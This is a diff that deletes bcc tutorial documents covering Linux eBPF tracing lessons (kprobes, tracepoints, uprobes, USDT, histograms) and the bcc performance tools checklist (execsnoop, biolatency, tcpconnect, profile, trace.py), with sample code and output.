-REQ_WRITE = 1 # from include/linux/blk_types.h - -# load BPF program -b = BPF(text=""" -#include -#include - -BPF_HASH(start, struct request *); - -void trace_start(struct pt_regs *ctx, struct request *req) { - // stash start timestamp by request ptr - u64 ts = bpf_ktime_get_ns(); - - start.update(&req, &ts); -} - -void trace_completion(struct pt_regs *ctx, struct request *req) { - u64 *tsp, delta; - - tsp = start.lookup(&req); - if (tsp != 0) { - delta = bpf_ktime_get_ns() - *tsp; - bpf_trace_printk("%d %x %d\\n", req->__data_len, - req->cmd_flags, delta / 1000); - start.delete(&req); - } -} -""") -if BPF.get_kprobe_functions(b'blk_start_request'): - b.attach_kprobe(event="blk_start_request", fn_name="trace_start") -b.attach_kprobe(event="blk_mq_start_request", fn_name="trace_start") -if BPF.get_kprobe_functions(b'__blk_account_io_done'): - b.attach_kprobe(event="__blk_account_io_done", fn_name="trace_completion") -else: - b.attach_kprobe(event="blk_account_io_done", fn_name="trace_completion") -[...] -``` - -Things to learn: - -1. ```REQ_WRITE```: We're defining a kernel constant in the Python program because we'll use it there later. If we were using REQ_WRITE in the BPF program, it should just work (without needing to be defined) with the appropriate #includes. -1. ```trace_start(struct pt_regs *ctx, struct request *req)```: This function will later be attached to kprobes. The arguments to kprobe functions are ```struct pt_regs *ctx```, for registers and BPF context, and then the actual arguments to the function. We'll attach this to blk_start_request(), where the first argument is ```struct request *```. -1. ```start.update(&req, &ts)```: We're using the pointer to the request struct as a key in our hash. What? This is commonplace in tracing. Pointers to structs turn out to be great keys, as they are unique: two structs can't have the same pointer address. (Just be careful about when it gets free'd and reused.) So what we're really doing is tagging the request struct, which describes the disk I/O, with our own timestamp, so that we can time it. There's two common keys used for storing timestamps: pointers to structs, and, thread IDs (for timing function entry to return). -1. ```req->__data_len```: We're dereferencing members of ```struct request```. See its definition in the kernel source for what members are there. bcc actually rewrites these expressions to be a series of ```bpf_probe_read_kernel()``` calls. Sometimes bcc can't handle a complex dereference, and you need to call ```bpf_probe_read_kernel()``` directly. - -This is a pretty interesting program, and if you can understand all the code, you'll understand many important basics. We're still using the bpf_trace_printk() hack, so let's fix that next. - -### Lesson 7. hello_perf_output.py - -Let's finally stop using bpf_trace_printk() and use the proper BPF_PERF_OUTPUT() interface. This will also mean we stop getting the free trace_field() members like PID and timestamp, and will need to fetch them directly. Sample output while commands are run in another session: - -```sh -# hello_perf_output.py -TIME(s) COMM PID MESSAGE -0.000000000 bash 22986 Hello, perf_output! -0.021080275 systemd-udevd 484 Hello, perf_output! -0.021359520 systemd-udevd 484 Hello, perf_output! -0.021590610 systemd-udevd 484 Hello, perf_output! -[...] -``` - -Code is [examples/tracing/hello_perf_output.py](https://github.com/iovisor/bcc/tree/master/examples/tracing/hello_perf_output.py): - -```Python -from bcc import BPF - -# define BPF program -prog = """ -#include - -// define output data structure in C -struct data_t { - u32 pid; - u64 ts; - char comm[TASK_COMM_LEN]; -}; -BPF_PERF_OUTPUT(events); - -int hello(struct pt_regs *ctx) { - struct data_t data = {}; - - data.pid = bpf_get_current_pid_tgid(); - data.ts = bpf_ktime_get_ns(); - bpf_get_current_comm(&data.comm, sizeof(data.comm)); - - events.perf_submit(ctx, &data, sizeof(data)); - - return 0; -} -""" - -# load BPF program -b = BPF(text=prog) -b.attach_kprobe(event=b.get_syscall_fnname("clone"), fn_name="hello") - -# header -print("%-18s %-16s %-6s %s" % ("TIME(s)", "COMM", "PID", "MESSAGE")) - -# process event -start = 0 -def print_event(cpu, data, size): - global start - event = b["events"].event(data) - if start == 0: - start = event.ts - time_s = (float(event.ts - start)) / 1000000000 - print("%-18.9f %-16s %-6d %s" % (time_s, event.comm, event.pid, - "Hello, perf_output!")) - -# loop with callback to print_event -b["events"].open_perf_buffer(print_event) -while 1: - b.perf_buffer_poll() -``` - -Things to learn: - -1. ```struct data_t```: This defines the C struct we'll use to pass data from kernel to user space. -1. ```BPF_PERF_OUTPUT(events)```: This names our output channel "events". -1. ```struct data_t data = {};```: Create an empty data_t struct that we'll then populate. -1. ```bpf_get_current_pid_tgid()```: Returns the process ID in the lower 32 bits (kernel's view of the PID, which in user space is usually presented as the thread ID), and the thread group ID in the upper 32 bits (what user space often thinks of as the PID). By directly setting this to a u32, we discard the upper 32 bits. Should you be presenting the PID or the TGID? For a multi-threaded app, the TGID will be the same, so you need the PID to differentiate them, if that's what you want. It's also a question of expectations for the end user. -1. ```bpf_get_current_comm()```: Populates the first argument address with the current process name. -1. ```events.perf_submit()```: Submit the event for user space to read via a perf ring buffer. -1. ```def print_event()```: Define a Python function that will handle reading events from the ```events``` stream. -1. ```b["events"].event(data)```: Now get the event as a Python object, auto-generated from the C declaration. -1. ```b["events"].open_perf_buffer(print_event)```: Associate the Python ```print_event``` function with the ```events``` stream. -1. ```while 1: b.perf_buffer_poll()```: Block waiting for events. - -### Lesson 8. sync_perf_output.py - -Rewrite sync_timing.py, from a prior lesson, to use ```BPF_PERF_OUTPUT```. - -### Lesson 9. bitehist.py - -The following tool records a histogram of disk I/O sizes. Sample output: - -```sh -# bitehist.py -Tracing... Hit Ctrl-C to end. -^C - kbytes : count distribution - 0 -> 1 : 3 | | - 2 -> 3 : 0 | | - 4 -> 7 : 211 |********** | - 8 -> 15 : 0 | | - 16 -> 31 : 0 | | - 32 -> 63 : 0 | | - 64 -> 127 : 1 | | - 128 -> 255 : 800 |**************************************| -``` - -Code is [examples/tracing/bitehist.py](https://github.com/iovisor/bcc/tree/master/examples/tracing/bitehist.py): - -```Python -from __future__ import print_function -from bcc import BPF -from time import sleep - -# load BPF program -b = BPF(text=""" -#include -#include - -BPF_HISTOGRAM(dist); - -int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req) -{ - dist.increment(bpf_log2l(req->__data_len / 1024)); - return 0; -} -""") - -# header -print("Tracing... Hit Ctrl-C to end.") - -# trace until Ctrl-C -try: - sleep(99999999) -except KeyboardInterrupt: - print() - -# output -b["dist"].print_log2_hist("kbytes") -``` - -A recap from earlier lessons: - -- ```kprobe__```: This prefix means the rest will be treated as a kernel function name that will be instrumented using kprobe. -- ```struct pt_regs *ctx, struct request *req```: Arguments to kprobe. The ```ctx``` is registers and BPF context, the ```req``` is the first argument to the instrumented function: ```blk_account_io_done()```. -- ```req->__data_len```: Dereferencing that member. - -New things to learn: - -1. ```BPF_HISTOGRAM(dist)```: Defines a BPF map object that is a histogram, and names it "dist". -1. ```dist.increment()```: Increments the histogram bucket index provided as first argument by one by default. Optionally, custom increments can be passed as the second argument. -1. ```bpf_log2l()```: Returns the log-2 of the provided value. This becomes the index of our histogram, so that we're constructing a power-of-2 histogram. -1. ```b["dist"].print_log2_hist("kbytes")```: Prints the "dist" histogram as power-of-2, with a column header of "kbytes". The only data transferred from kernel to user space is the bucket counts, making this efficient. - -### Lesson 10. disklatency.py - -Write a program that times disk I/O, and prints a histogram of their latency. Disk I/O instrumentation and timing can be found in the disksnoop.py program from a prior lesson, and histogram code can be found in bitehist.py from a prior lesson. - -### Lesson 11. vfsreadlat.py - -This example is split into separate Python and C files. Example output: - -```sh -# vfsreadlat.py 1 -Tracing... Hit Ctrl-C to end. - usecs : count distribution - 0 -> 1 : 0 | | - 2 -> 3 : 2 |*********** | - 4 -> 7 : 7 |****************************************| - 8 -> 15 : 4 |********************** | - - usecs : count distribution - 0 -> 1 : 29 |****************************************| - 2 -> 3 : 28 |************************************** | - 4 -> 7 : 4 |***** | - 8 -> 15 : 8 |*********** | - 16 -> 31 : 0 | | - 32 -> 63 : 0 | | - 64 -> 127 : 0 | | - 128 -> 255 : 0 | | - 256 -> 511 : 2 |** | - 512 -> 1023 : 0 | | - 1024 -> 2047 : 0 | | - 2048 -> 4095 : 0 | | - 4096 -> 8191 : 4 |***** | - 8192 -> 16383 : 6 |******** | - 16384 -> 32767 : 9 |************ | - 32768 -> 65535 : 6 |******** | - 65536 -> 131071 : 2 |** | - - usecs : count distribution - 0 -> 1 : 11 |****************************************| - 2 -> 3 : 2 |******* | - 4 -> 7 : 10 |************************************ | - 8 -> 15 : 8 |***************************** | - 16 -> 31 : 1 |*** | - 32 -> 63 : 2 |******* | -[...] -``` - -Browse the code in [examples/tracing/vfsreadlat.py](https://github.com/iovisor/bcc/tree/master/examples/tracing/vfsreadlat.py) and [examples/tracing/vfsreadlat.c](https://github.com/iovisor/bcc/tree/master/examples/tracing/vfsreadlat.c). Things to learn: - -1. ```b = BPF(src_file = "vfsreadlat.c")```: Read the BPF C program from a separate source file. -1. ```b.attach_kretprobe(event="vfs_read", fn_name="do_return")```: Attaches the BPF C function ```do_return()``` to the return of the kernel function ```vfs_read()```. This is a kretprobe: instrumenting the return from a function, rather than its entry. -1. ```b["dist"].clear()```: Clears the histogram. - -### Lesson 12. urandomread.py - -Tracing while a ```dd if=/dev/urandom of=/dev/null bs=8k count=5``` is run: - -```sh -# urandomread.py -TIME(s) COMM PID GOTBITS -24652832.956994001 smtp 24690 384 -24652837.726500999 dd 24692 65536 -24652837.727111001 dd 24692 65536 -24652837.727703001 dd 24692 65536 -24652837.728294998 dd 24692 65536 -24652837.728888001 dd 24692 65536 -``` - -Hah! I caught smtp by accident. Code is [examples/tracing/urandomread.py](https://github.com/iovisor/bcc/tree/master/examples/tracing/urandomread.py): - -```Python -from __future__ import print_function -from bcc import BPF - -# load BPF program -b = BPF(text=""" -TRACEPOINT_PROBE(random, urandom_read) { - // args is from /sys/kernel/debug/tracing/events/random/urandom_read/format - bpf_trace_printk("%d\\n", args->got_bits); - return 0; -} -""") - -# header -print("%-18s %-16s %-6s %s" % ("TIME(s)", "COMM", "PID", "GOTBITS")) - -# format output -while 1: - try: - (task, pid, cpu, flags, ts, msg) = b.trace_fields() - except ValueError: - continue - print("%-18.9f %-16s %-6d %s" % (ts, task, pid, msg)) -``` - -Things to learn: - -1. ```TRACEPOINT_PROBE(random, urandom_read)```: Instrument the kernel tracepoint ```random:urandom_read```. These have a stable API, and thus are recommend to use instead of kprobes, wherever possible. You can run ```perf list``` for a list of tracepoints. Linux >= 4.7 is required to attach BPF programs to tracepoints. -1. ```args->got_bits```: ```args``` is auto-populated to be a structure of the tracepoint arguments. The comment above says where you can see that structure. Eg: - -```sh -# cat /sys/kernel/debug/tracing/events/random/urandom_read/format -name: urandom_read -ID: 972 -format: - field:unsigned short common_type; offset:0; size:2; signed:0; - field:unsigned char common_flags; offset:2; size:1; signed:0; - field:unsigned char common_preempt_count; offset:3; size:1; signed:0; - field:int common_pid; offset:4; size:4; signed:1; - - field:int got_bits; offset:8; size:4; signed:1; - field:int pool_left; offset:12; size:4; signed:1; - field:int input_left; offset:16; size:4; signed:1; - -print fmt: "got_bits %d nonblocking_pool_entropy_left %d input_entropy_left %d", REC->got_bits, REC->pool_left, REC->input_left -``` - -In this case, we were printing the ```got_bits``` member. - -### Lesson 13. disksnoop.py fixed - -Convert disksnoop.py from a previous lesson to use the ```block:block_rq_issue``` and ```block:block_rq_complete``` tracepoints. - -### Lesson 14. strlen_count.py - -This program instruments a user-level function, the ```strlen()``` library function, and frequency counts its string argument. Example output: - -```sh -# strlen_count.py -Tracing strlen()... Hit Ctrl-C to end. -^C COUNT STRING - 1 " " - 1 "/bin/ls" - 1 "." - 1 "cpudist.py.1" - 1 ".bashrc" - 1 "ls --color=auto" - 1 "key_t" -[...] - 10 "a7:~# " - 10 "/root" - 12 "LC_ALL" - 12 "en_US.UTF-8" - 13 "en_US.UTF-8" - 20 "~" - 70 "#%^,~:-=?+/}" - 340 "\x01\x1b]0;root@bgregg-test: ~\x07\x02root@bgregg-test:~# " -``` - -These are various strings that are being processed by this library function while tracing, along with their frequency counts. ```strlen()``` was called on "LC_ALL" 12 times, for example. - -Code is [examples/tracing/strlen_count.py](https://github.com/iovisor/bcc/tree/master/examples/tracing/strlen_count.py): - -```Python -from __future__ import print_function -from bcc import BPF -from time import sleep - -# load BPF program -b = BPF(text=""" -#include - -struct key_t { - char c[80]; -}; -BPF_HASH(counts, struct key_t); - -int count(struct pt_regs *ctx) { - if (!PT_REGS_PARM1(ctx)) - return 0; - - struct key_t key = {}; - u64 zero = 0, *val; - - bpf_probe_read_user(&key.c, sizeof(key.c), (void *)PT_REGS_PARM1(ctx)); - // could also use `counts.increment(key)` - val = counts.lookup_or_try_init(&key, &zero); - if (val) { - (*val)++; - } - return 0; -}; -""") -b.attach_uprobe(name="c", sym="strlen", fn_name="count") - -# header -print("Tracing strlen()... Hit Ctrl-C to end.") - -# sleep until Ctrl-C -try: - sleep(99999999) -except KeyboardInterrupt: - pass - -# print output -print("%10s %s" % ("COUNT", "STRING")) -counts = b.get_table("counts") -for k, v in sorted(counts.items(), key=lambda counts: counts[1].value): - print("%10d \"%s\"" % (v.value, k.c.encode('string-escape'))) -``` - -Things to learn: - -1. ```PT_REGS_PARM1(ctx)```: This fetches the first argument to ```strlen()```, which is the string. -1. ```b.attach_uprobe(name="c", sym="strlen", fn_name="count")```: Attach to library "c" (if this is the main program, use its pathname), instrument the user-level function ```strlen()```, and on execution call our C function ```count()```. - -### Lesson 15. nodejs_http_server.py - -This program instruments a user statically-defined tracing (USDT) probe, which is the user-level version of a kernel tracepoint. Sample output: - -```sh -# nodejs_http_server.py 24728 -TIME(s) COMM PID ARGS -24653324.561322998 node 24728 path:/index.html -24653335.343401998 node 24728 path:/images/welcome.png -24653340.510164998 node 24728 path:/images/favicon.png -``` - -Relevant code from [examples/tracing/nodejs_http_server.py](https://github.com/iovisor/bcc/tree/master/examples/tracing/nodejs_http_server.py): - -```Python -from __future__ import print_function -from bcc import BPF, USDT -import sys - -if len(sys.argv) < 2: - print("USAGE: nodejs_http_server PID") - exit() -pid = sys.argv[1] -debug = 0 - -# load BPF program -bpf_text = """ -#include -int do_trace(struct pt_regs *ctx) { - uint64_t addr; - char path[128]={0}; - bpf_usdt_readarg(6, ctx, &addr); - bpf_probe_read_user(&path, sizeof(path), (void *)addr); - bpf_trace_printk("path:%s\\n", path); - return 0; -}; -""" - -# enable USDT probe from given PID -u = USDT(pid=int(pid)) -u.enable_probe(probe="http__server__request", fn_name="do_trace") -if debug: - print(u.get_text()) - print(bpf_text) - -# initialize BPF -b = BPF(text=bpf_text, usdt_contexts=[u]) -``` - -Things to learn: - -1. ```bpf_usdt_readarg(6, ctx, &addr)```: Read the address of argument 6 from the USDT probe into ```addr```. -1. ```bpf_probe_read_user(&path, sizeof(path), (void *)addr)```: Now the string ```addr``` points to into our ```path``` variable. -1. ```u = USDT(pid=int(pid))```: Initialize USDT tracing for the given PID. -1. ```u.enable_probe(probe="http__server__request", fn_name="do_trace")```: Attach our ```do_trace()``` BPF C function to the Node.js ```http__server__request``` USDT probe. -1. ```b = BPF(text=bpf_text, usdt_contexts=[u])```: Need to pass in our USDT object, ```u```, to BPF object creation. - -### Lesson 16. task_switch.c - -This is an older tutorial included as a bonus lesson. Use this for recap and to reinforce what you've already learned. - -This is a slightly more complex tracing example than Hello World. This program -will be invoked for every task change in the kernel, and record in a BPF map -the new and old pids. - -The C program below introduces a new concept: the prev argument. This -argument is treated specially by the BCC frontend, such that accesses -to this variable are read from the saved context that is passed by the -kprobe infrastructure. The prototype of the args starting from -position 1 should match the prototype of the kernel function being -kprobed. If done so, the program will have seamless access to the -function parameters. - -```c -#include -#include - -struct key_t { - u32 prev_pid; - u32 curr_pid; -}; - -BPF_HASH(stats, struct key_t, u64, 1024); -int count_sched(struct pt_regs *ctx, struct task_struct *prev) { - struct key_t key = {}; - u64 zero = 0, *val; - - key.curr_pid = bpf_get_current_pid_tgid(); - key.prev_pid = prev->pid; - - // could also use `stats.increment(key);` - val = stats.lookup_or_try_init(&key, &zero); - if (val) { - (*val)++; - } - return 0; -} -``` - -The userspace component loads the file shown above, and attaches it to the -`finish_task_switch` kernel function. -The `[]` operator of the BPF object gives access to each BPF_HASH in the -program, allowing pass-through access to the values residing in the kernel. Use -the object as you would any other python dict object: read, update, and deletes -are all allowed. -```python -from bcc import BPF -from time import sleep - -b = BPF(src_file="task_switch.c") -b.attach_kprobe(event="finish_task_switch", fn_name="count_sched") - -# generate many schedule events -for i in range(0, 100): sleep(0.01) - -for k, v in b["stats"].items(): - print("task_switch[%5d->%5d]=%u" % (k.prev_pid, k.curr_pid, v.value)) -``` - -These programs can be found in the files [examples/tracing/task_switch.c](https://github.com/iovisor/bcc/tree/master/examples/tracing/task_switch.c) and [examples/tracing/task_switch.py](https://github.com/iovisor/bcc/tree/master/examples/tracing/task_switch.py) respectively. - -### Lesson 17. Further Study - -For further study, see Sasha Goldshtein's [linux-tracing-workshop](https://github.com/goldshtn/linux-tracing-workshop), which contains additional labs. There are also many tools in bcc /tools to study. - -Please read [CONTRIBUTING-SCRIPTS.md](https://github.com/iovisor/bcc/tree/master/CONTRIBUTING-SCRIPTS.md) if you wish to contribute tools to bcc. At the bottom of the main [README.md](https://github.com/iovisor/bcc/tree/master/README.md), you'll also find methods for contacting us. Good luck, and happy tracing! - -## Networking - -To do. diff --git a/src/bcc-documents/tutorial_en.md b/src/bcc-documents/tutorial_en.md deleted file mode 100644 index 7fcb01fd..00000000 --- a/src/bcc-documents/tutorial_en.md +++ /dev/null @@ -1,422 +0,0 @@ -# bcc Tutorial - -This tutorial covers how to use [bcc](https://github.com/iovisor/bcc) tools to quickly solve performance, troubleshooting, and networking issues. If you want to develop new bcc tools, see [tutorial_bcc_python_developer.md](tutorial_bcc_python_developer.md) for that tutorial. - -It is assumed for this tutorial that bcc is already installed, and you can run tools like execsnoop successfully. See [INSTALL.md](https://github.com/iovisor/bcc/tree/master/INSTALL.md). This uses enhancements added to the Linux 4.x series. - -## Observability - -Some quick wins. - -### 0. Before bcc - -Before using bcc, you should start with the Linux basics. One reference is the [Linux Performance Analysis in 60,000 Milliseconds](https://netflixtechblog.com/linux-performance-analysis-in-60-000-milliseconds-accc10403c55) post, which covers these commands: - -1. uptime -1. dmesg | tail -1. vmstat 1 -1. mpstat -P ALL 1 -1. pidstat 1 -1. iostat -xz 1 -1. free -m -1. sar -n DEV 1 -1. sar -n TCP,ETCP 1 -1. top - -### 1. General Performance - -Here is a generic checklist for performance investigations with bcc, first as a list, then in detail: - -1. execsnoop -1. opensnoop -1. ext4slower (or btrfs\*, xfs\*, zfs\*) -1. biolatency -1. biosnoop -1. cachestat -1. tcpconnect -1. tcpaccept -1. tcpretrans -1. runqlat -1. profile - -These tools may be installed on your system under /usr/share/bcc/tools, or you can run them from the bcc github repo under /tools where they have a .py extension. Browse the 50+ tools available for more analysis options. - -#### 1.1 execsnoop - -```sh -# ./execsnoop -PCOMM PID RET ARGS -supervise 9660 0 ./run -supervise 9661 0 ./run -mkdir 9662 0 /bin/mkdir -p ./main -run 9663 0 ./run -[...] -``` - -execsnoop prints one line of output for each new process. Check for short-lived processes. These can consume CPU resources, but not show up in most monitoring tools that periodically take snapshots of which processes are running. - -It works by tracing exec(), not the fork(), so it will catch many types of new processes but not all (eg, it won't see an application launching working processes, that doesn't exec() anything else). - -More [examples](https://github.com/iovisor/bcc/tree/master/tools/execsnoop_example.txt). - -#### 1.2. opensnoop - -```sh -# ./opensnoop -PID COMM FD ERR PATH -1565 redis-server 5 0 /proc/1565/stat -1565 redis-server 5 0 /proc/1565/stat -1565 redis-server 5 0 /proc/1565/stat -1603 snmpd 9 0 /proc/net/dev -1603 snmpd 11 0 /proc/net/if_inet6 -1603 snmpd -1 2 /sys/class/net/eth0/device/vendor -1603 snmpd 11 0 /proc/sys/net/ipv4/neigh/eth0/retrans_time_ms -1603 snmpd 11 0 /proc/sys/net/ipv6/neigh/eth0/retrans_time_ms -1603 snmpd 11 0 /proc/sys/net/ipv6/conf/eth0/forwarding -[...] -``` - -opensnoop prints one line of output for each open() syscall, including details. - -Files that are opened can tell you a lot about how applications work: identifying their data files, config files, and log files. Sometimes applications can misbehave, and perform poorly, when they are constantly attempting to read files that do not exist. opensnoop gives you a quick look. - -More [examples](https://github.com/iovisor/bcc/tree/master/tools/opensnoop_example.txt). - -#### 1.3. ext4slower (or btrfs\*, xfs\*, zfs\*) - -```sh -# ./ext4slower -Tracing ext4 operations slower than 10 ms -TIME COMM PID T BYTES OFF_KB LAT(ms) FILENAME -06:35:01 cron 16464 R 1249 0 16.05 common-auth -06:35:01 cron 16463 R 1249 0 16.04 common-auth -06:35:01 cron 16465 R 1249 0 16.03 common-auth -06:35:01 cron 16465 R 4096 0 10.62 login.defs -06:35:01 cron 16464 R 4096 0 10.61 login.defs -``` - -ext4slower traces the ext4 file system and times common operations, and then only prints those that exceed a threshold. - -This is great for identifying or exonerating one type of performance issue: show individually slow disk i/O via the file system. Disks process I/O asynchronously, and it can be difficult to associate latency at that layer with the latency applications experience. Tracing higher up in the kernel stack, at the VFS -> file system interface, will more closely match what an application suffers. Use this tool to identify if file system latency exceeds a given threshold. - -Similar tools exist in bcc for other file systems: btrfsslower, xfsslower, and zfsslower. There is also fileslower, which works at the VFS layer and traces everything (although at some higher overhead). - -More [examples](https://github.com/iovisor/bcc/tree/master/tools/ext4slower_example.txt). - -#### 1.4. biolatency - -```sh -# ./biolatency -Tracing block device I/O... Hit Ctrl-C to end. -^C - usecs : count distribution - 0 -> 1 : 0 | | - 2 -> 3 : 0 | | - 4 -> 7 : 0 | | - 8 -> 15 : 0 | | - 16 -> 31 : 0 | | - 32 -> 63 : 0 | | - 64 -> 127 : 1 | | - 128 -> 255 : 12 |******** | - 256 -> 511 : 15 |********** | - 512 -> 1023 : 43 |******************************* | - 1024 -> 2047 : 52 |**************************************| - 2048 -> 4095 : 47 |********************************** | - 4096 -> 8191 : 52 |**************************************| - 8192 -> 16383 : 36 |************************** | - 16384 -> 32767 : 15 |********** | - 32768 -> 65535 : 2 |* | - 65536 -> 131071 : 2 |* | -``` - -biolatency traces disk I/O latency (time from device issue to completion), and when the tool ends (Ctrl-C, or a given interval), it prints a histogram summary of the latency. - -This is great for understanding disk I/O latency beyond the average times given by tools like iostat. I/O latency outliers will be visible at the end of the distribution, as well as multi-mode distributions. - -More [examples](https://github.com/iovisor/bcc/tree/master/tools/biolatency_example.txt). - -#### 1.5. biosnoop - -```sh -# ./biosnoop -TIME(s) COMM PID DISK T SECTOR BYTES LAT(ms) -0.000004001 supervise 1950 xvda1 W 13092560 4096 0.74 -0.000178002 supervise 1950 xvda1 W 13092432 4096 0.61 -0.001469001 supervise 1956 xvda1 W 13092440 4096 1.24 -0.001588002 supervise 1956 xvda1 W 13115128 4096 1.09 -1.022346001 supervise 1950 xvda1 W 13115272 4096 0.98 -1.022568002 supervise 1950 xvda1 W 13188496 4096 0.93 -[...] -``` - -biosnoop prints a line of output for each disk I/O, with details including latency (time from device issue to completion). - -This allows you to examine disk I/O in more detail, and look for time-ordered patterns (eg, reads queueing behind writes). Note that the output will be verbose if your system performs disk I/O at a high rate. - -More [examples](https://github.com/iovisor/bcc/tree/master/tools/biosnoop_example.txt). - -#### 1.6. cachestat - -```sh -# ./cachestat - HITS MISSES DIRTIES READ_HIT% WRITE_HIT% BUFFERS_MB CACHED_MB - 1074 44 13 94.9% 2.9% 1 223 - 2195 170 8 92.5% 6.8% 1 143 - 182 53 56 53.6% 1.3% 1 143 - 62480 40960 20480 40.6% 19.8% 1 223 - 7 2 5 22.2% 22.2% 1 223 - 348 0 0 100.0% 0.0% 1 223 -[...] -``` - -cachestat prints a one line summary every second (or every custom interval) showing statistics from the file system cache. - -Use this to identify a low cache hit ratio, and a high rate of misses: which gives one lead for performance tuning. - -More [examples](https://github.com/iovisor/bcc/tree/master/tools/cachestat_example.txt). - -#### 1.7. tcpconnect - -```sh -# ./tcpconnect -PID COMM IP SADDR DADDR DPORT -1479 telnet 4 127.0.0.1 127.0.0.1 23 -1469 curl 4 10.201.219.236 54.245.105.25 80 -1469 curl 4 10.201.219.236 54.67.101.145 80 -1991 telnet 6 ::1 ::1 23 -2015 ssh 6 fe80::2000:bff:fe82:3ac fe80::2000:bff:fe82:3ac 22 -[...] -``` - -tcpconnect prints one line of output for every active TCP connection (eg, via connect()), with details including source and destination addresses. - -Look for unexpected connections that may point to inefficiencies in application configuration, or an intruder. - -More [examples](https://github.com/iovisor/bcc/tree/master/tools/tcpconnect_example.txt). - -#### 1.8. tcpaccept - -```sh -# ./tcpaccept -PID COMM IP RADDR LADDR LPORT -907 sshd 4 192.168.56.1 192.168.56.102 22 -907 sshd 4 127.0.0.1 127.0.0.1 22 -5389 perl 6 1234:ab12:2040:5020:2299:0:5:0 1234:ab12:2040:5020:2299:0:5:0 7001 -[...] -``` - -tcpaccept prints one line of output for every passive TCP connection (eg, via accept()), with details including source and destination addresses. - -Look for unexpected connections that may point to inefficiencies in application configuration, or an intruder. - -More [examples](https://github.com/iovisor/bcc/tree/master/tools/tcpaccept_example.txt). - -#### 1.9. tcpretrans - -```sh -# ./tcpretrans -TIME PID IP LADDR:LPORT T> RADDR:RPORT STATE -01:55:05 0 4 10.153.223.157:22 R> 69.53.245.40:34619 ESTABLISHED -01:55:05 0 4 10.153.223.157:22 R> 69.53.245.40:34619 ESTABLISHED -01:55:17 0 4 10.153.223.157:22 R> 69.53.245.40:22957 ESTABLISHED -[...] -``` - -tcprerans prints one line of output for every TCP retransmit packet, with details including source and destination addresses, and kernel state of the TCP connection. - -TCP retransmissions cause latency and throughput issues. For ESTABLISHED retransmits, look for patterns with networks. For SYN_SENT, this may point to target kernel CPU saturation and kernel packet drops. - -More [examples](https://github.com/iovisor/bcc/tree/master/tools/tcpretrans_example.txt). - -#### 1.10. runqlat - -```sh -# ./runqlat -Tracing run queue latency... Hit Ctrl-C to end. -^C - usecs : count distribution - 0 -> 1 : 233 |*********** | - 2 -> 3 : 742 |************************************ | - 4 -> 7 : 203 |********** | - 8 -> 15 : 173 |******** | - 16 -> 31 : 24 |* | - 32 -> 63 : 0 | | - 64 -> 127 : 30 |* | - 128 -> 255 : 6 | | - 256 -> 511 : 3 | | - 512 -> 1023 : 5 | | - 1024 -> 2047 : 27 |* | - 2048 -> 4095 : 30 |* | - 4096 -> 8191 : 20 | | - 8192 -> 16383 : 29 |* | - 16384 -> 32767 : 809 |****************************************| - 32768 -> 65535 : 64 |*** | -``` - -runqlat times how long threads were waiting on the CPU run queues, and prints this as a histogram. - -This can help quantify time lost waiting for a turn on CPU, during periods of CPU saturation. - -More [examples](https://github.com/iovisor/bcc/tree/master/tools/runqlat_example.txt). - -#### 1.11. profile - -```sh -# ./profile -Sampling at 49 Hertz of all threads by user + kernel stack... Hit Ctrl-C to end. -^C - 00007f31d76c3251 [unknown] - 47a2c1e752bf47f7 [unknown] - - sign-file (8877) - 1 - - ffffffff813d0af8 __clear_user - ffffffff813d5277 iov_iter_zero - ffffffff814ec5f2 read_iter_zero - ffffffff8120be9d __vfs_read - ffffffff8120c385 vfs_read - ffffffff8120d786 sys_read - ffffffff817cc076 entry_SYSCALL_64_fastpath - 00007fc5652ad9b0 read - - dd (25036) - 4 - - 0000000000400542 func_a - 0000000000400598 main - 00007f12a133e830 __libc_start_main - 083e258d4c544155 [unknown] - - func_ab (13549) - 5 - -[...] - - ffffffff8105eb66 native_safe_halt - ffffffff8103659e default_idle - ffffffff81036d1f arch_cpu_idle - ffffffff810bba5a default_idle_call - ffffffff810bbd07 cpu_startup_entry - ffffffff8104df55 start_secondary - - swapper/1 (0) - 75 -``` - -profile is a CPU profiler, which takes samples of stack traces at timed intervals, and prints a summary of unique stack traces and a count of their occurrence. - -Use this tool to understand the code paths that are consuming CPU resources. - -More [examples](https://github.com/iovisor/bcc/tree/master/tools/profile_example.txt). - -### 2. Observability with Generic Tools - -In addition to the above tools for performance tuning, below is a checklist for bcc generic tools, first as a list, and in detail: - -1. trace -1. argdist -1. funccount - -These generic tools may be useful to provide visibility to solve your specific problems. - -#### 2.1. trace - -##### Example 1 - -Suppose you want to track file ownership change. There are three syscalls, `chown`, `fchown` and `lchown` which users can use to change file ownership. The corresponding syscall entry is `SyS_[f|l]chown`. The following command can be used to print out syscall parameters and the calling process user id. You can use `id` command to find the uid of a particular user. - -```sh -$ trace.py \ - 'p::SyS_chown "file = %s, to_uid = %d, to_gid = %d, from_uid = %d", arg1, arg2, arg3, $uid' \ - 'p::SyS_fchown "fd = %d, to_uid = %d, to_gid = %d, from_uid = %d", arg1, arg2, arg3, $uid' \ - 'p::SyS_lchown "file = %s, to_uid = %d, to_gid = %d, from_uid = %d", arg1, arg2, arg3, $uid' -PID TID COMM FUNC - -1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-usisgezu/tmp, to_uid = 128203, to_gid = 100, from_uid = 128203 -1269441 1269441 zstd SyS_chown file = /tmp/dotsync-vic7ygj0/dotsync-package.zst, to_uid = 128203, to_gid = 100, from_uid = 128203 -1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-a40zd7ev/tmp, to_uid = 128203, to_gid = 100, from_uid = 128203 -1269442 1269442 zstd SyS_chown file = /tmp/dotsync-gzp413o_/dotsync-package.zst, to_uid = 128203, to_gid = 100, from_uid = 128203 -1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-whx4fivm/tmp/.bash_profile, to_uid = 128203, to_gid = 100, from_uid = 128203 -``` - -##### Example 2 - -Suppose you want to count nonvoluntary context switches (`nvcsw`) in your bpf based performance monitoring tools and you do not know what is the proper method. `/proc//status` already tells you the number (`nonvoluntary_ctxt_switches`) for a pid and you can use `trace.py` to do a quick experiment to verify your method. With kernel source code, the `nvcsw` is counted at file `linux/kernel/sched/core.c` function `__schedule` and under condition -```c -!(!preempt && prev->state) // i.e., preempt || !prev->state -``` - -The `__schedule` function is marked as `notrace`, and the best place to evaluate the above condition seems in `sched/sched_switch` tracepoint called inside function `__schedule` and defined in `linux/include/trace/events/sched.h`. `trace.py` already has `args` being the pointer to the tracepoint `TP_STRUCT__entry`. The above condition in function 